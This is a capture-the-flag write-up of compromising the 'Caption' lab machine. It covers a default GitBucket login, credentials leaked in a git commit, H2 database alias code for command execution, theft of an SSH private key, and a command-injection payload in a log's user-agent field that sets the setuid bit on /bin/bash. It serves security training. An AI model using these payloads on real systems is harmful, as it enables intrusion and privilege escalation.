Beginning with the usual nmap
scan
nmap 10.129.73.39 -p- -sV
We get a very weird output
nmap
could not verify the Versions running but we get 3 open ports
:
22:SSH
80: HTTP
8080:HTTP
Beginning with the standard methodology, we interact with port 80
We get the usual redirection to a domain caption.htb
Adding it to /etc/hosts
file
We get a login portal
Default login did not work.
Chose not to spend much time on this attack vector before checking the rest of the ports.
Interacting with port 8080
, we get a GitBucket
webpage
When clicking on sign in
, we are prompted to a login portal
Trying root:root
and it worked
We have 2 repositories Logservice
and Caption-Portal
The Logservice
repo helps in log correlation using the thrift
service
The Caption-Portal
repo is the service running on port 80
(I assumed)
Checking the last commits
We can see in the Update access control commit some credentials
margo:vFr&cS2#0!
Trying the credentials on the login page found on port 80
and it worked
We are welcomed with an index page
Following standard methodology and viewing source code
but lead us to nowhere
Beginning directory brute forcing
gobuster dir -u="http://caption.htb/" -w=/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt,zip,sh
We get a weird output
All the endpoint
in the firewall
directory is redirected to a single point and it is the /
directory. Will keep that in mind and look at that later.
Checking Gitbucket
on port 8080
After clicking on System Administration/Database viewer
We can see a terminal
where we can write SQL
queries to be executed.
Testing for the service by giving it an arbitrary value, a service name was exposed.
H2 database
.
Looking for exploits, found this link a SQL injection
can be abused.
By using this code
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
We can create an Alias that can execute System commands
and we can call it by using this.
CALL SHELLEXEC('id')
Trying to pop out a reverse shell
but it could not be possible.
Reading the /home/margo
directory, a .ssh
directory was discovered
We can see a private SSH key
Reading the file, it is displayed in a weird format
To adjust that, Base64
conversion was used
Copying the file to our local machine, decoding and give it the correct permissions to SSH
Following our standard methodology, we checked Internal ports
running
Checking the services
running on the background as root
server.go
is identified to be running as root
but the source code
is inaccessible as it is located in /root
which is inaccessible for us as margo
user.
Going back to Gitbucket
, Checking the other repository, Logservice
, server.go
can be identified and the source code
can be read
package main
import (
"context"
"fmt"
"log"
"os"
"bufio"
"regexp"
"time"
"github.com/apache/thrift/lib/go/thrift"
"os/exec"
"log_service"
)
type LogServiceHandler struct{}
func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
file, err := os.Open(filePath)
if err != nil {
return "", fmt.Errorf("error opening log file: %v", err)
}
defer file.Close()
ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
outputFile, err := os.Create("output.log")
if err != nil {
fmt.Println("Error creating output file:", err)
return
}
defer outputFile.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
ip := ipRegex.FindString(line)
userAgentMatch := userAgentRegex.FindStringSubmatch(line)
var userAgent string
if len(userAgentMatch) > 1 {
userAgent = userAgentMatch[1]
}
timestamp := time.Now().Format(time.RFC3339)
logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
exec.Command{"/bin/sh", "-c", logs}
}
return "Log file processed",nil
}
func main() {
handler := &LogServiceHandler{}
processor := log_service.NewLogServiceProcessor(handler)
transport, err := thrift.NewTServerSocket(":9090")
if err != nil {
log.Fatalf("Error creating transport: %v", err)
}
server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
log.Println("Starting the server...")
if err := server.Serve(); err != nil {
log.Fatalf("Error occurred while serving: %v", err)
}
}
Thrift
library can be identified and we know it is running on port 9090
from the source code
.
Local port forwarding
ssh -L 9090:127.0.0.1:9090 margo@caption.htb -i id_rsa
We need to write a script
to interact with this service.
First of all we need to define a thrift
file, which is already defined in the Logservice
repository under the name of log_service.thrift
.
namespace go log_service
service LogService {
string ReadLogFile(1: string filePath)
}
Creating the file
After defining the Thrift
file, we will need to generate the Python
client code using the Thrift
compiler
thrift --gen py log_service.thrift
After running the command, the directory will look like this
Then create the python
script that will interact with the server
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService
def main():
# Set up the transport and protocol
transport = TSocket.TSocket('localhost', 9090)
transport = TTransport.TBufferedTransport(transport)
protocol = TBinaryProtocol.TBinaryProtocol(transport)
# Create a client
client = LogService.Client(protocol)
# Connect to the server
transport.open()
# Call the service method
try:
result = client.ReadLogFile('/path/to/your/logfile.log')
print(f'Server Response: {result}')
except Exception as e:
print(f'Error: {e}')
# Close the connection
transport.close()
if __name__ == "__main__":
main()
Create the client.py
and put it in the gen-py
directory
Create a dummy file in the /tmp
directory in the remote machine and test the script
We can see that the Log file was processed successfully.
Analyzing the source code
, we can see a potential Command injection
here
logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
exec.Command{"/bin/sh", "-c", logs}
We can inject commands like this
{"user-agent":"'; command_here ; #", "ip":"1.2.3.4"}
Creating a malicious Log file containing this command
{"user-agent":"'; chmod +s /bin/bash ; #", "ip":"1.2.3.4"}
Change the client.py
to point to this newly created log file
Run the Client script and now try to open a bash shell
and drop the privileges.
The machine was pawned successfully